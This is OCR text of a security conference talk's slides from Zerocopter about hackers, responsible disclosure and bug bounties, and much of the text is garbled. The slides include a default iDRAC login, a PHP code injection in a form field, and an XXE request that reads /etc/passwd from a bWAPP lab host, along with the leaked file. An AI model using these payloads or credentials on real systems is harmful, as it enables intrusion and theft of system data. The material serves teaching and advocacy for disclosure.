HACKERS! DO | SHOOT OR DO | HUG?

EDWIN VAN ANDEL
@ zerocopter u @YAFSEC
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Not suitable for people
1 5 = ol under 15. Under 15s must
be accompanied by a
parent or adult guardian

RESTRICTED

*Reason: SPEEDSLIDES & TOO MUCH MEMES!



WE GOT
PRIZES!
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G.G.O.H. - Guild of the Grumpy Old Hackers
SOON

Want to help? Donate via 1CqRPDqJBWwhSa5QnHofwr7 1AFEffmA48y
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YEAH, IFYOU COULD GETBACK TO
~WORK

THAT' D BE GREAT...




Security: The basics

@ zerocopter
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WOW...




Segway Key Tool

.
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WIFI!

SECURE?




WPA-PSK Password Audit

HD5370 — 103000

HD4370 N 15750
Tesla$1070 NN s2:00

GTX 255 — 22000

6™ 285 NN 12500

Corei7920 MM 4000

0 20000 40000 60000 80000 100000 120000
Passwords per Second




__________

1

2

3 003080DC230CC 003080DC23CC
4 REYS_LAPTOP [64.245.54 .81]
S 003080DC23CC 003080DC23CC
6 R
7

8

9

VIN=-&

1 LEN=-0

TS_LAPTOP [64.245.54.81) |TCP. D=21 S~1171 SYN SEQ=3928511 LEN-0O VIN-2]62 |648
8160 221.1 131)|DNS. C ID=29 OP=QUERT Nlr-garl:c Aud:oqalnx 82 |730

RAYS_LAPTOP
0_0000E26BE7C FFFFFFFFFFFF |RSAP: C Find general File server 60 | 790

003080DC23CC 003080DC23CC LOOP: Reply Receipt =0 60 |850

0 0.
0: 2.
0 7
0: S.
0 0
 —— 10 REAYS_LAPTOP [160.221.1 .132)|DNS: C ID=29 OP=QUERY NAMErgarlic.audiogalaxy82 |932 0: 1.
i1 FHAYS_LAPTOP {(160.221 1 131]/DNS: C ID=29 OP-QUERY NAME-garlic sudiogalaxiB82 |1014 0 5
12 003080DC23CC 003080DC23CC LOOP: Reply Receipt =0 60 1074 0 3
13 REYS_LAPTOP [160.221.1.132)|DNS: C ID=29 OP=-QUERY NAME-garlic.sudiogalaxi82 |1156 0: 2.
14 REAYS_LAPTOP 160.221 .1 131)|DNS. C ID=29 OP=QUERY NAME+garlic audiogalaxi82 |1238 0 5
15 003080DC23CC 10000CCOCCC CDP: Type=0x0001 (Device ID); Type=0x0002 (Ad 315 |1553 0: 2.
16 003080DC23CC 003080DC23CC 1OOP: Reply Receipt =0 60 |1613 0 0
o 1?7 REYS_LAPTOP [160.221.1 .132) DNS: C ID-’Q OP=QUERY NAMEwgarlic. audiogalaxi82 |169% 0: S.
18 003080DC230C 003080DC23CC LOOP: Reply Receipt =0 60 |1755% 0 4
19 REAYS_LAPTOP {160.221.1.131) DNS C ID=29 C@-CUEPT HAK..'qarlxc au.dxoaalax- 82 |1837 0 2.
20 RAYS_LAPTOP {160.221 .119.13|T Retransmitted in frame 21 12 Bytes of [166 | 2003 0 3.
SECURE? 21 s REYS_LAPTOP {160.221.119.13 W 166 (2169 0 1
- Netransmitted in frame 24: 132 Bytes of
22 ESTIE 255.255.255.25 DHCP Request Kcaugc type: DHCP Discover 342 (2511 0:01:02.679 1.8¢
23 003080DC230C 03080DC23CC LOOP: Reply Receipt =0 | 60 |25871 0:01:0%2.114] 0. 4iw
»
UDP Header ——— |
UDP: Destinatic al
UDP: Length
UDP: Checksun
UDP. 1300 bete :l
00000000 tf tf ttf £t 45 01 ','vy,yy vis [ £ -
00000010: 01 48 de & 0 § 1 22 cO £f ¢
00000020: ¢ ¢ 00 44 00 43 01 34 a7 76 0@ 01 0e 00 4% 4 D C C" 1
00000030: 53 20 2» 00 80 00 00 00 00 00 O 00 00 00 00 Q0
00000040: 00 00 00 00 00 00 00 04 76 Bc a7 Sb 00 00 00 00 vis(
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000060: 00 OO0 OO0 OO CD OO OO DD DD DO O ) ) ) ) )
00000070: 00 00 00 0O |‘ 0 00 00 00 00 00 00 00 00 00 00 00 zl
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SECURE?

ATTRCOEW




OKAY.
STANDALONE PC’S

SECURE?
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@ 1997 Aaron Bacall from The Cartoon Bank. All rights reserved.







Tel Aviv Team First To Steal High-Level PC Crypto
— Through A Wall

An Israeli security research team has described how to steal a cryptographic key from a
computer simply by monitoring the radio waves it emits while decrypting a cipher.
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HUMANS....

SECURE?
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@Jadedsecurity
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Aight. But how do you get Iin?

@ zerocopter
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BUT WE USE
TAGS!
#WINNING!




COOL!
WE GOT
CHRIS PAGET

YOU LOSE....




Everything is hackable.

But who is doing the hacking?

@ zerocopter
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Different Solutions



HACKERS!
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PICK YOUR HACKER:
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S0...
ALL HACKERS ARE
EVIL?

WELL... (NOT ALL RIGHT?)
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Breaking News Py e
LWVE CAT HACKER CAUGHT HACKING!

EXCLUSIVE
http://TheFunnyPlace.net



RESPONSIBLE
DISCLOSURE*

AND BUG-BOUNTIES lwwﬂulpwtﬂ'm'ﬁ“

*Coordinated Vulnerability
Disclosure




}@ ~ Nationaal Coordinator
3_:% Terrorismebestrijding en Veiligheid
Ministerie van Veiligheid en Justitie

Responsible
Disclosure in

Nederland

Historie en Toekomst

24 oktober 2014




ocopter

Responsible Disclosure Statemsent

At Zerocopter, we consider the security of our systems a top priority. But no matter how much effort we put into
system security, there can still be vulnerabliliities present,

If you discover a vulnerability, we would like to kmow about it so we can take steps to address it as quickly as
possible. WNe would like to ask you to help us better protect our cllents and our systems.

Plecase do the following:

- Submit your findings by using the following URL: https://app.zserocopter.con/responsible disclosure/eef4r999-
2477-4802-8542~161435d30e06.

- DO not take advantage of the vulnerablility or problem you have discovered, for example by downloading more
data than necessary to demonstrate the vulnerability or deleting or modifying other people's data.

- DO not reveal the problem to others until it has been resolved.

- Do not use attacks on physical security, social engineering, distributed denial of service, spam or
appiications of third parties.

- Do provide sufficient information to reproduce the problem, so we will be able to resolve it as quickly as
possible. Usually, the IF address or the URL of the affected system and a description of the vulnerabllity will
be sufficient, but complex vulnerabilities may require further explanation.

What we promise:

- We will respond to your report within 5 business days with our evaluation of the report and an expected
resolution date.

- If you have followed the instructions above, wé will not take any legal action against you in regard to the
report.

- We will not pass on your personal detalils to third parties vithout your permission.

- We will keep you informed of the progress towards resolving the problem.

- In the public information concerning the problem reported, ve will give your name as the discoverer of the

problem (unless you desire otherwise).

We strive to resolve all problems as quickly as possible, and we would like to play an active role in the
uitimate publication on the problem after it is resolved.

This Responsible Disclosure policy is based on an example written by Floor Terra.

ot started for free




TWEETS } FOLLOWERS
1,544

1331 850 1,391

Tweets Tweets & replies Media
Victor
(Ethical) hacker. 4,710 Responsible Victor
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7, Twest to 1001001011100
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- Chris Roberts S camagont - Apr 16
Chr|s Rom ﬂ Bye bye electronics, all encrypted....and all now in custody/seized

Find myself Shall we start
playing with '?)
RETWEETS
05
10:08 PM - 1

Reply to @¢

\' Rafat kos ©
.‘ @Sidragon




IT’S NOT A BUG. IT’S A FEATURE!

Target Spider | Scanner | Intruder | Repeater | Sequencer | Decoder | Comparer Extcndcul

HTTP history | WebSockets history | Options

(#) O Request to https:/www.startssl.com:443 (97.74.232.97)
Tool Box Certificates Wizard Validations 1| Forward | | Drop " |

Params | Headers | Hex

POST /Validacte/SendDomainVerityEmail HTTP/1.1

Host: wwv.startssl.com

User-Agent: Mozilla/5.0 (X11; Linux x8€_€4; rv:38.0) Gecko/20100101 Firefox/38.0 Iceve
domain: asolom.com Accept: application/json, text/javascript, */*; q+0.01

Accepr-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content~Type: applicacion/x-vvv-torm-urlencoded: charsect=UTF-8

X-Requested-Vith: XNLHttpRequest

Referexr: htops://vvv,.starcasl.com/Validate

Domain Validation

Select one of the following email to receive the verification code, and clic

Verification Email.  @postmaster@asolom.com

Ohostmaster@aso0om.com Content-Length: €S
2y Cookie: ASP.NET_Sessionld=iltS5cSvbsihpsg)ikllblnOd4z;: lg=en-us;
Uwebmaster@asolom.com £id=3B2039 100270483 FSCDDEETEISAF4F 20 ET14FELIBZSFAZ4FSADBFB8ZADTD2IDOS )L ;

HyStarctSSLCookie"b4aS83éd~-3bce~4E3d-hTLCc~933Lal8LEAlT
Resend validation code if you don't receive it  |Connection: keep-alive

Pragma: no=-cache

Sending validation code, please wait.. Cache-Control: no-cache
E ; domainName=aso0om.comisendToEmail=postmascers40asolom. coméindex=0|
Verification code:

Vabhdation




' Yonathan Klijnsma X m

And there you have it, a machine controlling
an X-Ray device on VNC with patient data
open.. shodan.io/host/189.70.24...

RD/CVD - YES/NO?




|1 Hacktivit y Programs Bugs Sign in Signup ¥

Vulnerabilities are inevitable.
Are you prepared?

All technology contains bugs. If a security issue is found, what do you do? HackerOne makes it simple for
your team to coordinate a quality response,

Try a free demo

or get in touch

Customers

Yahoo! Twitter Mail Ry Square Conbase Airbnb Slack Dropbox Vimeo




@ zerocopter Pricing  Team  Login

Level up your online security

Zerocopter is an innovative security platform, on a mission
: - - : Order a negative amount of items for an enormous
to help make online security more effective and discount.
manageable. We do this by leveraging the best researchers
and scanners in the world and offering an easy and secure
Responsible Disclosure solution.

Description

Scanners Responsible Disclosure Researchers



Circle Software Group bv

- ore Circle Software Group bv

Circle Software

—

(0

Researcher Programs

A select group of experts will look for the unknown
vulnerabilities.

New Program ]

HoofdvandeHacker

€10000

0 open 0 closed

©

Responsible Disclosure

Enabling RD for your program will allow anyone
with access to your RD policy to report any
discovered vulnerabilities.

[ New RD Policy

No RD Policies active at the moment,

Mod queue

Reports Programs

Yaffle ’

NO REPORTS

0 0 0

Unread Processing Resolved

©

Scanners

Scanners are the step towards continuous
security. Vulnerabllities that are found will be
reported 1o you.

Schedule a new Scanner

No Scanners scheduled at the moment
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Zero-Day p—
Zero- Day
Explmt

ENTER
ZERO-DAYS

Exploit




ZERODIUM Payout Ranges’

LPE: Local Privilege Escalation

MTB: Mitigation Bypass

RCE: Remote Code Execution
RIB: Remote Jailbreak
SBX: Sandbox Escape
VME: Virtual Machine Escape

Adobe PDF
Reader

ASLR
Bypass

Offce Windows

Word/Excel Reader App

Roundcube

20051 © zerodium.com



USED IN...

Typical botnet architecture

Dotnets are typically compeised of between soveral hundred to several mullion
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Or a little closer to home....

@ zerocopter




iBdcoms com (WU) - Buy Bicons with Western Umnson
ncale com - Recommended for fast, samgle servce Payment Methods Western Urson, Bark of
Ammancas Cash by FodEx, Monaygram, Money Order In NYC: Bacon ATM. In Perscr
04/07/2015 Callidcoms com - Servce allows you 1o search for people n your communty wiling 10 sell bécons o
you dwectly
8.47 AM T GO Another fasl way o buy bdcorn
- Blquick ¢ Buy Bdcosrs Instantly for Cash
psbeniocosns com - BBcom for cash
wyar com - ConJar allows dect belcomn purchases on thew wis

prapinc com - ZpZap s a global cash payment network enabling consumers 1o pay for digtal currency

3. Send 1.25 BTC ($300) 10 Bitcoln address sp 4 bolow:

71:41:11

Send 1.25 BTC ($300) to the following address
1NadLTgZHRG)mqUuQS58dGsB7ADCbeSN6z1 or copy from QR code

Your BOT 1D:000027B8(put in NOTE field)

During the payment of 300 USD please use your
Bot 1D, Mmﬂu-ﬂmmm.a Check payment




AND PRETTY
UNIQUE...




Smart guys those hackers....

@ zerocopter




-Tox Is free

-Tox uses bitcoins and TOR

-The malware works as advertised
-High anti-malware evasion

-Enter ransom amount

-Enter your ‘cause’
-Submit the captcha

Tox - Viruses




RIGHT. LET’S PWN!

@ zerocopter *)ownsp




OBJECTIVE:
GET THE CROWN JEWELS




33338;
LEEEES

Fi Aug 20225010

IP Address
1e21682000 00
192.168.199.1
192.168.150.1
192.168.151.1
gmum Waming Loss of ik :.-..zl-
zmuam Wamnrg Loss of bk :-m:m
Loss of ek Lot connecsion 1




192.168.200.201

Nessus / Login . Scanner DCERPC Aundliary Modules -... idrac-5MVK75J - IDRACE - Login

Dell Idrac Default user and password

MAY 25, 2012 4 COMMENTS

WHNWY O 19 Votes

At a few days ago | had to use Idrac to check a Dell server, and did not knew the password and user, there is a default
user and password.

The default user is root, and the default password is calvin.

Hope that this information can be useful.




18] 192.168.200.201 - 0O

HP 2020-480 Swinch|J9728A) Nessus [ Logn Scanner DCERPC Auniiary Modules Krac-SMVICIS) « IDRACS - System S Ded idrac Defaut user and password

INTEGRATED DELL REMOTE

Support | About | Logout
ACCESS CONTROLLER & - ENTERPRISE

Properties Setuwp Power Logs Nerts Console/Media g Remote Fle Share

Systom Summary System Detais System Invertory

System Summary & C ?

Server Health

Status  Component Virtzal Console Preview

1T

Options

(N < < <

Refresh Launch

Server M OMaton Quick Launch Tasks

ower Stale ON Pow N
System Mode PowerEdge RG10 Power Cycle System (cold boot

st Ry ] 1}
System Host Name SVR-ESXDS View System Event Log
Cperating Sy Y Viiware ESX0 6.0.0 bulid- 3247720 View DRAC

v y « dane F wa
SMVKTS) Reset DRA

Exore . o Code 12267178030
f v 8.0.7






Let’s hack! Web style...

@ zerocopter




c = C @nttpsyyf ..

tost

Telefoonnummer *

Geboortegegevens

Geboortedag *

1 -

Geboorteplaats

test

lnlfindex.php/leden/profiel
101128
Geboortemaand * Geboortejaar *
Januari — 1970

O

Rekeningnummer: Benodigd voor het maken van investeringsovereenkomst

Rekeningnummer *

NL33

Rekening t.n.v. *

<7php echo 4; 7>

Pas profiel aan




Geboortegegevens

Geboortedag * Geboortemaand * Geboortejaar *
1 — Januari - 1970 s
Geboorteplaats

test

Rekeningnummer: Benodigd voor het maken van investeringsovereenkomst

Rekeningnummer * Rekening t.n.v. *

NL33 4




(& https://:

ONESHOULD NOT SIMPLY/IGNORE

aemon:x:1:1:daemon:/usr/sbin:/us
inix:2:2:bin:/bin:/usr/sbin/nolo
sys:x:3:3:8ys8:/dev:/usr/sbin/nolo
sync:x:4:65534:sync:/bin:/bin/syn
ames:x:5:60:games: /usr/games: /us
van:x:6:12:man:/var/cache/man: /us
lp:x:7:7:1p:/var/spool/lpd: /usr/s
vailix:8:8:mail:/var/mail: /usr/sb
news:x:9:9:news:/var/spool/news:/
uucp:x:10:10:uucp: /var/spool/uucp
proxy:x:13:13:proxy:/bin: /usr/sbi
www-data:x:33:33:www-data:/var/w
backup:x:34:34:backup:/var/backup
list:x:38:38:Mailing List Manager
ircix:139:39:ircd:/var/run/ired: /u
gnats:x:41:41:Gnats Bug-Reporting
nobody:x:65534:65534 :nobody: /none
libuuid:x:100:101::/var/lib/libuu
syslog:x:101:104::/home/syslog:/b
messagebus:x:102:105::/var/run/db
vdvdstoep:x:1000:1000:vdvdstoep, ,
sshd:x:103:65534::/var/run/sshd: /|
mysqlix:104:111:MySQL Server,,,:/
uploadhertje:x:1001:1001:,,,:/hom
smmta:x:105:113:Mail Transfer Age
smmspix:106:114:Mail Submission P
N

</1

'INPUT VALIDATION

mggnegenerator.net

-

'root:x:0:0:root:/root:/bin/bash



Verstuur een kaart .

ECARDS...

AS A SERVICE!

Upload Ateciding Bladeron... Geen bestand geselecteerd

Uw naam

Uw omai adres




ONESHOULD NOT' SIMPLY{IGNORE

1ab103.6 #1 SMP Wed Jan 21 13:07:39

§_64-redhat-linux-gnu' -

ﬁx.lusr -exec-prefm-lusr"
. ac S ’shafe -
nibexec -localstatedir=ANvar" --
dir=/usr/share/info' -cache-
3-pat -lotc' ‘-with-config-file-scan-
ath’ '--without-pear' -with-bz2" '-with-
=/usr' '--with-xpm-dir=/usr' --enable-gd-
with-iconv' -with-jpeg-dir=/usr' '--with-
-GNU' -enable-exif' -enable-ﬂp'
able-shmop' "-enable-calendar’ '~
i -systom-tzdm‘ '--onablo-locoa-ogl-
: ssl' 4nad&nbsﬁng=shamd
wim-ldap-sasl "—-with-
50 gl_config' '-enable-dom=shared"
mp=shared /usr' '--enable-soap=shared'
pnable-xmiwriter=shared' '--with-
d' "--with-pdo-
d Jusrlib64/mysql/mysql_config' "—with-
with-sqiite3=shared /usr' '--enable-
--with-libedit' --with-pspell=shared' -
sysvmsg=shared' '-enable-

INI’IIT \M\lIIIMIIIN e v

mgjnegenerator.net

l<?php

phpinfo();

\ 4

/wp-content/upload:

>




TRY
HARDER...

XXE ANYBODY?

/ XML External Entity Attacks (XxE) /

Foset your secrel 10 Asy suge?

Qa0




Reset your secret to | Any bugs?

F % Quick Start  =» Request

| Header: Text +| | Body: Text o “l:]

HTTP/1.1 200 0K

Date: Fri, 29 May 2015 ©09:09:11 GMT

Server: Apache/2.2.8 (Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntuS with Suhosin-Patch mod_ssl/2.2.8 OpenSSl
X-Powered-By: PHP/5.2.4-2ubuntu5

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Content-Length: 28

Keep-Alive: timeout=15, max=100

Connection: Keep-Alive

Content-Type: text/html

eva's secret has been reset!

<reset><login>eva</login><secret>Any bugs?</secret></reset>




00 Resend

EETEN Response |

jabdathod sl abisadacdac: +] [ Body: Text HlElzie 2 @B @mel Send

POST http://192.168.122.95/0WAPP/xxe-2.php HTTP/1.1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.10; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%*/%;q=0.8
Accept-Language: nl,en-US;q=0.7,en;q=0.3

Content-Type: text/xml; charset=UTF-8

Referer: http://192.168.122.95/bWAPP/xxe~1.php

Content-Length: 59

Cookie: PHPSESSID=f3bcelfa57915a3956ff676748361fbc; security_level=0
Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache

Host: 192.168.122.95

<?xml version="1.0" encoding="utf-8"7>

<!DOCTYPE root |

<!ENTITY sorry SYSTEM "file:///etc/passwd">

1>

<reset><login>&sorry;</login><secret>Any bugs?</secret></reset>
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HTTP/1.1 200 0K

Date: Fri, 29 May 2015 99:13:00 GMT

Server: Apache/2.2.8 (Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with Suhosin-Patch mod_ss1/2.2.8 OpenSSL/0.9.89
X-Powered-By: PHP/5.2.4-2ubuntus

Expires: Thu, 19 Nov 1981 ©8:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Content-Length: 2287

Keep-Alive: timeout=15, max=100

Connection: Keep-Alive

Content-Type: text/html

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon: /usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
Sys:x:3:3:sys:/dev:/bin/sh
Sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games: /usr/games: /bin/sh
x:6:12:man: /var/cache/man: /bin/sh
x:7:7: \p:/var/spool/1pd: /bin/sh
:8:8:mail:/var/mail:/bin/sh
19:9:news: /var/spool/news: /bin/sh
:10:10 uucp: /var/spool/uucp: /bin/sh
x:13:13:proxy:/bin:/bin/sh

ta:x:33:33:www-data: /var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh

list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd: /bin/sh

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
3 %:65534: 65534 nobody: /nonexistent:/bin/sh
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DONE.
SOME LAST TIPS:
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